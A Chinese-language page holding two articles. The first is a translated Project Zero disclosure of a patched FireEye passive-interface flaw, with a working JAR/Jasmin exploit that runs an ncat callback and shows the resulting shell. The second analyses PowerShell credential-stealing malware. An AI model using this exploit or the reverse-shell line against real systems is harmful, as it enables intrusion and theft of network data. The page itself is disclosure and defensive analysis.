FireEye向企业和政府用户销售安全设备,其旗舰产品安装在大型网络的出口点用以监控设备,也就是安装在内部流量通向互联网的地方。

简要概述

一个组织在其内部网络中安装了FireEye设备,然后连接到一个SPAN或是出口点的镜像端口(这些监控端口内置在专业级网络设备中)

FireEye设备之后就被动查看所有网络流量,监控HTTP, FTP, SMTP等常见协议。对于文件传输来说,如果检测到文件传输(例如一个Email附件,HTTP下载)FireEye会提取文件并扫描是否包含恶意软件。

原则上,如果用户接收一份恶意Email或者访问恶意网站,FireEye设备观察流量并向网络管理员发送警报。FireEye设备还监控文件服务,Mail Exchanger等。

对于部署了FireEye设备的网络,一个被动监控接口存在的漏洞利用绝对是恶梦。这也意味着攻击者仅仅只需发送一封电子邮件便可以获得网路分流器(Network Tap)访问权限,甚至都不需要接收者打开这封恶意电子邮件,只是接收便行了!

网路分流器(Network Tap)是网络中权限最高的机器之一,访问员工的电子邮件,密码,下载记录,浏览记录,机密附件等。在某些部署配置中[1],攻击者可以篡改流量,插入恶意后门或者更糟糕的。因为FireEye设备通常会使用第二个联网接口来进行设备更新管理,所以出现的这个问题可行性十分高!

在本文中我们将讨论Project Zero发现的第666个漏洞:FireEye设备可通过被动监控接口进行利用的漏洞。

FireEye已经发布了针对该漏洞的补丁,请用户立即应用该补丁!

———-

[1]FireEye设备可以在IPS模式下进行配置,这么做可以修改监控流量

[2]该问题刚刚好是Project Zero发现的第666个漏洞

常见问答

Q:如何检查是否我的FireEye设备存在该漏洞?

A:通常,设备的安全版本为427.334或更高那么该漏洞已经被修复,FireEye官方发布的该漏洞相关信息在此

Q:哪些FireEye产品受此漏洞影响?

A:默认配置下NX, FX, AX 以及EX系列产品都受该漏洞影响

Q:获取报告之后FireEye需要多久时间解决该问题?

A:FireEye响应非常迅速,在数小时之内向用户推送了临时解决方案,之花了2天时间便解决了整个问题。

Q:FireEye支持你们的安全研究吗?

A:FireEye在这方面做的非常不错,我们之间的合作非常密切,提供测试设备支持并且对问题的响应非常迅速

Q:目前我无法更新FireEye应用,我应该采取什么措施来缓解该问题呢?

A:FireEye提供的减缓措施是可用的,详细你可以联系FireEye技术支持,他们会帮助你完成该项任务。

实验室设置

Project Zero之前一直在评估FireEye NX 7500设备,为此创建了一个实验室来生成样本流量。测试环境包含一个配有4个网络接口的工作站,其中两个接口连接到中心用以模拟网络流量。

FireEye被动监控接口(也被称作pether3)连接到中心(类似于镜像端口)的第三个接口,所以它可以在测试机器上用来观察两个接口之间流量间的交换。这是用来模拟内部网络中用户从互联网中接收电子邮件或者下载文件。

额外的接口作为FireEye的管理接口,以及LAN访问:

这是一个棘手的路由配置,特别是从两个本地接口(eth2, eth3)流向中心的流量中截获流量。这需要一些Linux下路由工作的知识作为铺垫。

既然这样,我想要在192.168.2.0/24上模拟网络,在192.168.1.1/24上管理接口。这需要调整本地路由表并创建对应的规则。

# First, make sure Linux will accept local<->hub<->local traffic
echo 1 > /proc/sys/net/ipv4/conf/all/accept_local
# Give the two interfaces connected to the hub static addresses.
ip addr add 192.168.2.2 dev eth2
ip addr add 192.168.2.1 dev eth3
# Route traffic destined for each address to the *opposite* device
ip route add 192.168.2.1 dev eth2
ip route add 192.168.2.2 dev eth3
# Force Linux to forget that these are local interfaces so the traffic actually reaches the hub.
ip route del 192.168.2.2 table local
ip route del 192.168.2.1 table local
# Now add corresponding rules for each interface
ip rule add iif eth2 lookup 100
ip route add local 192.168.2.2 dev eth2 table 100
ip rule add iif eth3 lookup 101
ip route add local 192.168.2.1 dev eth3 table 101

访问管理接口,通过ttyS0在正确的子网中给FireEye设备的ether1接口配置一个静态地址:

# Enable the management interface on my workstation
ifconfig eth1 up 192.168.1.1 netmask 255.255.255.0
# Now configure the management interface on the FireEye
fireeye> no interface ether1 dhcp
fireeye> interface ether1 ip address 192.168.1.2 255.255.255.0

这是允许从管理接口访问FireEye设备的,并通过来自同一台机器的网路分流器生成模拟流量。

配置完成后,模拟用户从互联网下载一份文件。你只需在192.168.2.2/24上进行简单的下载操作:

# Start a python web server to simulate a website
$ sudo python -m SimpleHTTPServer 80 &
# Create a file to download
$ echo hello > test.txt
# Download the file across the hub, so that the FireEye can see it
$ curl -s http://192.168.2.2/test.txt
hello

登录FireEye管理接口,然后使用tcpdump验证被动接口能看到模拟网络流量:

fireeye> tcpdump -i pether3
tcpdump: verbose output suppressed, use -v or -vv for full protocol decodelistening on pether3, link-type EN10MB (Ethernet), capture size 262144 bytes
13:38:30.980073 IP 192.168.2.1.58276 > 192.168.2.2.http: Flags [S], seq 2112408534, win 29200, options [mss 1460,sackOK,TS val 1133741089 ecr 0,nop,wscale 7], length 0
13:38:30.981065 IP 192.168.2.2.http > 192.168.2.1.58276: Flags [R.], seq 0, ack 2112408535, win 0, length 0
2 packets captured
2 packets received by filter
0 packets dropped by kernel

成功确认FireEye能够监控模拟网络。

FireEye结构

主要分析FireEye设备监控已知恶意流量(用于网段的黑名单,恶意域名,恶意规则等),对传输文件(杀毒软件, yara 规则,以及分析脚本)的静态分析,最后在虚拟机中追踪传输文件的执行。一旦执行追踪生成便与已知的恶意行为进行匹配。

在该阶段主要涉及的组件有bott,mip和silverfish respectively:

fireeye> show pm process bott
Process bott (Network Content Processing Engine)State:      Current status:  runningPID:        14745Uid:        0Gid:        0
fireeye> show pm process mip Process mip (Malware Input Processor)...
fireeye> show pm process silverfish
Process silverfish (Submit files for VM analysis)...

MIP (Malware Input Processor)子系统负责文件的静态分析,调用帮助程序和插件解码各类型文件。比如调用swf helper程序flasm对flash文件进行反汇编,dmg helper调用p7zip提取Mac OS磁盘映象,以及png helper调用pngcheck来验证图片。

jar helper是用来分析抓取到的Java Archives,使用jarsigner来检测签名,之后尝试使用一款开源Java编译器JODE对内容进行反编译。

一旦反编译完成,便在在解码器输出中检测已知的恶意代码模式,例如:

regex = re.compile(".*class [a-zA-Z0-9]+ extends Applet")
regexScript = re.compile(".*javax.script.ScriptEngine")
regexReflection = re.compile(".*java.lang.reflect")

JODE是开源的,其代码可以拿来研究研究。检查代码JODE广泛使用反射,甚至包含一个用于分析的简单Java虚拟机:

JODE使用SimpleRuntimeEnvironment class通过动态执行某些字节来反混淆字符串。该代码特别是试图处理静态构造函数中方法调用。

进一步研究,把我自己都下了一跳。我们从FireEye设备提取JODE进行更细致的研究,jdb调试器确认了OPTION_DECRYPT设置已经启用,SimpleVirtualMachine class有如下定义:

$ jdb -classpath "." net.sf.jode.decompiler.Main test.jar
Initializing jdb ...>
stop in net.sf.jode.expr.InvokeOperator.deobfuscateString
Deferring breakpoint net.sf.jode.expr.InvokeOperator.deobfuscateString.
It will be set after the class is loaded
> run
...
main[1] dump net.sf.jode.decompiler.Options.options net.sf.jode.decompiler.Options.options = 831

这就意味着在网上发送一个JAR,我们可以通过FireEye假装使用字符串模糊来执行它!

利用

为了构造一个能绕过JODE启发式字符串混淆的class文件,我们使用jasmin汇编程序,他能提供我们javac所不能表现处的灵活性。

历经多次试验,我们终于创建了一个JODE能够执行的class文件,并使用它调用java.lang.Runtime.getRuntime().exec(),其允许我们执行任意shell命令。在我们的测试工作中,我们可以仅仅通过在被动监控接口下传输文件,进行命令执行。

FireEye默认附加安装了ncat,创建一个反弹Shell就像指定一个我们想要的命令一样简单。以下为我们使用的jasmin代码样本,使用ncat提取/usr/bin/id之后通过网络发送结果:

.method public static obf(Ljava/lang/String;)Ljava/lang/String;.limit locals 1.limit stack 8invokestatic java/lang/Runtime/getRuntime()Ljava/lang/Runtime;ldc "ncat example.com 9090 -e /usr/bin/id"invokevirtual java/lang/Runtime/exec(Ljava/lang/String;)Ljava/lang/Process;ldc "test"areturn
.end method

Project Zero issue tracker上的完整汇编文件是可用的。现在我们只需为FireEye构造一个JAR文件进行反编译:

$ jasmin ReverseShell.j
$ jar cvf fireeye.jar ReverseShell.class
added manifest
adding: ReverseShell.class(in = 489) (out= 311)(deflated 36%)
Start a listener for my connectback shell:$ nc -lp 9090 &
[1] 11115

现在通过监控网络下载文件,模拟攻击发送JAR邮件,或者让用户点击下链接:

$ curl http://192.168.2.2/fireeye.jar &> /dev/null

然后等待反弹Shell,这个时间取决于机器的负载:

$ wait
uid=821(mip) gid=3111(mip)groups=3111(mip),602(antivirus),2000(analysis),3001(stats),3134(mip_child),3200(dipcshm),3203(reports),3204(contents),3210(mip_client)
[1]+  Done                    nc -lp 9090

成功在FireEye机器上完成代码执行!

权限提升[部分打码]

目前我们是作为mip(恶意软件输入处理器)用户进行代码执行,mip用户的权限已经算比较高了,能够访问敏感网络数据。

然而,随着███ █████ ███████ ███ █████████████ ███ ████████,我们可以轻松获得root权限,这是因为███ █████ █████████████ ██ ████████ ██ ████ █████。

打码原因:FireEye请求针对该提权部分组件需要额外的时间去修补

fireeye# id
uid=0(admin) gid=0(root) groups=0(root)

现在,我们获得了root权限,完全控制FireEye设备。

总结

结合这些步骤,攻击者可以向用户发送一封电子邮件,或是等待用户点击链接。最终获得root权限那是秒秒钟的事情!

该漏洞会导致机密数据的泄漏,篡改流量。

请根据问答部分,检测下设备是否存在该漏洞,如存在请及时修补。

揭开Active PowerShell如何窃取数据之谜

Windows的PowerShell深受管理员的喜爱,它可以让用户有效的在本地和远程系统中进行自动操作和管理任务。然而,它的易用性和广泛性吸引了无数攻击者的目光。

研究人员首先开始证明针对PowerShell的攻击始于2010年,攻击者于2011年底改进了PowerShell,使攻击方法变得更加复杂并且出现了PowerShell攻击工具包。PowerShell中逐渐出现了恶意软件货哦的那个,尽管当时它只是被观察用于完成攻击周期的一些步骤。我们多年来一直在研究PowerShell攻击,你可以在这里获得更多的相关信息。

最近,我们遇到了一些窃取数据的活动,几乎所有的攻击周期的步骤都设计简单有效的PowerShell命令。

其中的一个活动的目标是证书-包括一个看似合法的俄罗斯网站指向一个非常棒的PowerShell脚本。另一个活动的目标也是证书,包括一个德语的RTF文件,可以初始化一系列PowerShell命令。在这两个活动中,保护和回避措施在整个攻击过程中都非常重要。

案例I:一个来自俄罗斯的数据窃取攻击

我们观察到一个Windows的可执行文件会从一看看似合法的俄罗斯网站下载下载一个PowerShell脚本。网站的主页虽然是武术介绍,但是也承载了PowerShell脚本。执行EXE文件时,PowerShell命令会下载另一个PowerShell脚本并初始化。这种隐藏机制确保了用户没法在PowerShell窗口中看到执行PowerShell脚本的过程。同样的道理,执行策略也被设置为不受限制的,以确保脚本利用所需的访问运行。

图1:以隐藏不受限方式命令下载恶意PowerShell脚本

密码窃取

在访问该网站上的主机"74.ps1"时,我们观察到一个目的就是窃取数据的精心编写的PowerShell脚本。脚本从特定的能够按照预期保存用户凭据的被攻击者的文件系统复制文件,如下图所示。举个例子,图2显示了从Chrome文件夹复制"Login Data","Login Data"中包含了用户在Chrome浏览器中使用的用户名和登录站点所用的加密后的密码。

图2:从受害者的系统复制已知凭证文件的命令

系统调查
脚本还可以获取系统的元数据(比如,受害者的用户名、防火墙状态、RAM和硬盘数据等配置细节),这些都被转化成一页HTML,如图3所示。

图3:把系统信息转储为一个HTML文件的命令行

数据提取
恶意软件把所有的被盗数据压缩成一个ZIP压缩包,如图4。

图4:把窃取数据压缩存档

一旦被压缩,被盗数据就准备好通过SMTP相关命令发送给恶意软件作者了。为了发送这些数据,恶意软件作者的email ID和密码就会要求作为传递的参数。我们在分析恶意软件脚本的时候就能看到这些凭证。

图5:通过email把窃取的数据发送给恶意软件作者的命令。

当恶意软件最终停止运行时,恶意软件会声称一个加密的名为"My test report"的加密报告。查看这个报告,我们发现数据被加密了,如图6所示。

图6:一部分已经加密的被盗数据

解密被窃取的数据

作为一个额外的保护层,恶意软件的作者利用PowerShell脚本本身的RC4算法把数据和ZIP文件加密,如图7所示。

图7:PowerShell中的RC4算法

由于恶意软件加密数据没有使用任何公钥基础设施,他的RC4密钥必须是可见的。这些可以通过图8看出来,最终它所成闲的安全措施其实是没用的。

图8:恶意软件作者在脚本中把RC4密钥作为参数传递

分析收集到的数据
我们使用硬编码密钥解密ZIP文件,然后我们解压这个文件,结果如图9所示。

图9:解密、解压后收集到的数据

"chrome"文件包含来自Google Chrome登录列表的信息。"CompInfo" HTML文件包含受害者的元数据,如图10所示。

图10:包含被窃取系统信息的HTML

CREDHIST文件是凭证管理的组成部分,我们在被盗数据中可以看到它。CREDHIST文件包含用户最近和旧的账户凭据。

图11:被盗的credhist文件

案例二:来自德国或奥地利的数据窃取活动

我们观察到一个在德国和奥地利广泛流传德语的RTF文件。这个RTF文件实在用户下载驱动的时候启动的,会导致执行一个会启动一系列PowerShell命令行的payload。在这种情况下,我们必须格外小心这个PowerShell命令保证虚拟化检测。

VM检测(虚拟化检测)

如图12所示,一个由进程检索获取的所有正在进行的进程列表,然后,恶意软件检查涉及到VirtualBox, VMware和Parallels的服务。如果找到相关进程,进程就会被打印到控制台上。

图12:计算和虚拟化相关的进程数的PowerShell脚本

如果这个计数大于0,恶意软件会在虚拟环境中运行。然后仅仅在控制台中打印出结果对恶意软件作者没有任何帮助-他们需要使用这个数据。使用CONOUT参数,传递可执行参数。整个攻击活动的继续或终止取决于数据结果。

被感染数量已达到29000

这个病毒通过访问一个计数网站增加攻击数量。

图13:跟踪感染数量的脚本

目前为止,它已经被访问了29245次,但是这不意味着29245个系统都被感染了-一些访问可能来自网络安全研究者。

图14:感染数量

在虚拟化检测和追踪过后,恶意软件会窃取数据。这个恶意软件使用PowerShell迭代和转储一些数据,cookie是最可能存储文本文件ftshvc.txt的地方。

窃取数据的命令

图15:把窃取的数据转成text文件

优先处理被盗数据

然后,恶意软件作者并没有转储所有的数据。他们通过搜索特定字符串、使用计数器优先处理某些被盗数据。在转储被盗数据时,搜索包括所有来自Fcebook中跟银行信息有关的网站,比如"bankaustria.at"和"credtsuisse.com(一家瑞士银行的网站)"。被盗数据的优先处理命令行如图16所示。

图16:脚本计算某些特定的被盗数据

为新的payload铺路

在完成数据窃取之后,PowerShell脚本为新的payload铺路:Dofoil(一个被用于下载来自恶意网站并通过DownloadFile和ShellExecute命令执行文件的PowerShell命令)。这样可以有效的关闭PowerShell循环窃取数据并引入了一种新的payload,新的payload将连接到一些指令、控制CNC服务器并可以执行其他恶意命令。

图17:下载并执行新的payload的脚本

更多逃避技术

除了反虚拟追中,恶意软件还使用了PowerShell的编码和混淆特性。
举个例子,下面三个命令行都会启动笔记本。

图18:使用PowerShell的三种不同的方式打开记事本

就像一个正常的命令行终端、PS终端在把字符串分割成引用时没有任何问题。当你在键盘中打出"note""pad"时,PS也会推出Notepad。

此外,PowerShell提供了一个-enc(Encoding Command Switch编码命令切换),可以让用户或攻击者使用Base64编码PowerShell命令。

通过加密进行逃脱

下面的PowerShell命令是我们在一个单独的恶意软件中观察到的,它使用了-enc转换来隐藏第一次调用系统睡眠(另一种逃脱技术)活动,然后连接到一个需要的链接。

图19:隐藏模式下的加密的PowerShell执行脚本

Base64解密后的真正的PowerShell命令:

图20:解密后可以被看到的调用睡眠并连接到链接的脚本

通过引用混淆逃脱

在以下情况下,当一个Word宏执行时,它初始化一个PowerShell脚本执行,它本来应该推出一个VBscript。

恶意软件作者把它扩展为"v+bs"。相同的方式被用于命令行参数中,恶意软件作者通过破坏把文件扩展变成引用。

图21:引用混淆来逃避明文字符串

检测

编码和混淆处理来逃避追踪也被观察到用在了连接到宏中切入网络钓鱼的文本文件中,它也使用了PowerShell。被嵌入恶意宏的文件还在不断广泛传播数量在大幅增加,我们可以在这里找到了很多这种文档。

结论

PowerShell是现在经常被使用的攻击手段。在企业中使用PowerShell应该被更好的监测。执行编码和混淆命令行需要额外的监测。因为PowerShell的编码数据能力和混淆数据能力很强,安全团队应该了解PowerShell如何被恶意使用,并培养专业的技术调查PowerShell攻击。

小编说:PowerShell一直是Windows中非常给力的程序保护机制,可是现在PowerShell竟然很容易被攻击了!攻击者利用PowerShell的某些机制盗取我们的数据,千万不要点开邮件中的美女链接,不要下载免费获取的付费软件,及时更新自己的系统!不然,最终受害的还是我们自己。

FireEye 666漏洞相关推荐

  1. 美国顶级安全公司遭国家黑客攻击,网络武器库失窃

    全球最大的网络安全公司之一FireEye(火眼)于12月8日透露,其内部网络被某个"拥有一流网络攻击能力的国家"(黑客)突破. FireEye是一家全球知名的网络安全公司,成立于2 ...

  2. 研究人员发现Office Word 0Day攻击 这个漏洞绕过了word宏安全设置 绿盟科技、McAfee及FireEye发出警告...

    这次的0Day漏洞确实很厉害,以往攻击者诱使用户点击Word文档,由于其中包含了恶意脚本,大多数需要用户启用了宏.但这次的漏洞不是,受害者无需启用宏,也会中招,而且漏洞覆盖Windows所有版本(包括 ...

  3. FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  4. FireEye 红队失窃工具大揭秘之:分析复现 Confluence路径穿越漏洞 (CVE-2019-3398)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  5. 苹果应用商店逾千款iOS应用存安全漏洞

    据国外网站Ibtimes报道,知名网络安全公司FireEye日前警告称,由于一款名为"JSPatch".可帮助开发者修改应用程序的软件上存在安全漏洞,导致苹果应用商店内1000多款 ...

  6. 突发!Log4j 爆“核弹级”漏洞,Flink、Kafka等至少十多个项目受影响

    欢迎关注方志朋的博客,回复"666"获面试宝典 作者 | 褚杏娟 这两天,你熬夜应急了吗? 昨晚,对很多程序员来说可能是一个不眠之夜.12 月 10 日凌晨,Apache 开源项目 ...

  7. SpringBoot相关漏洞

    以下文章来源方志朋的博客,回复"666"获面试宝典 本文是 Spring Boot 相关漏洞的学习资源,仅作为安全研究和授权测试使用,不要用于非法活动. 这个GitHub项目从信息 ...

  8. fastjson到底做错了什么?为什么会被频繁爆出漏洞?

    点击上方"方志朋",选择"设为星标" 回复"666"获取新整理的面试文章 fastjson大家一定都不陌生,这是阿里巴巴的开源一个JSON解 ...

  9. Tomcat 爆出高危漏洞!

    点击上方"方志朋",选择"设为星标" 回复"666"获取新整理的面试文章 一.漏洞背景 安全公告编号:CNTA-2020-0004 2020 ...

最新文章

  1. linux python版本_linux下更新Python版本并修改默认版本
  2. python gui开发工具_深入解析Python,透析应用开发,涵盖9大应用领域的Python框架...
  3. 英伟达收购Mellanox接近尾声,将成英伟达史上最大收购案
  4. 图像处理-空间域锐化滤波
  5. 44.分治算法练习:  一元三次方程求解
  6. 消防信号总线原理_AFPM100/B消防设备电源监控系统在百色市人民医院消防设备电源监控系统的应用-安科瑞 华梅超...
  7. chrome老版本_技术周刊 2019-08-06:Chrome 又隐藏了 www
  8. node mysql gbk_nodejs gb2312、GBK中文乱码解决方法
  9. 自适应模糊PID(位置式)C语言实现
  10. 计算机二级office基础知识题库,计算机office二级考试题库
  11. Pytorch搭建EfficientNet网络和Openmax
  12. 【Scala】9、Trait、Match、CaseClass和偏函数
  13. Docker 镜像的存储机制
  14. 1449:【例题2】魔板
  15. 电脑护眼设置---保护你的眼睛(转载)
  16. IRQ和FIQ中断的区别
  17. 第一课:句子成分与基本句型
  18. ac1900修改代理服务器,AC1900路由器怎么设置? | 192路由网
  19. 菜鸟网html dom对象,JavaScript学习指南
  20. 广州峰巅计算机招聘信息,AR/VR虚拟仿真系统

热门文章

  1. (6)常用的Java工具类
  2. DJYOS模组系列之一:BK7251 WIFI模组介绍
  3. 大数据量数据库设计与优化方案
  4. linux命令行下的BT软件(转)
  5. 十、我们应当怎样做需求分析:业务流程分析(上)
  6. 29-【什么叫规矩 什么叫体统】vector容器
  7. 流行勒索病毒分析总结
  8. 我心中的未来计算机100字,未来的学校作文100字
  9. PostgreSQL 查询数据库中所有函数信息,函数名(全部)
  10. 卷积神经网络(CNN)实现服装图像分类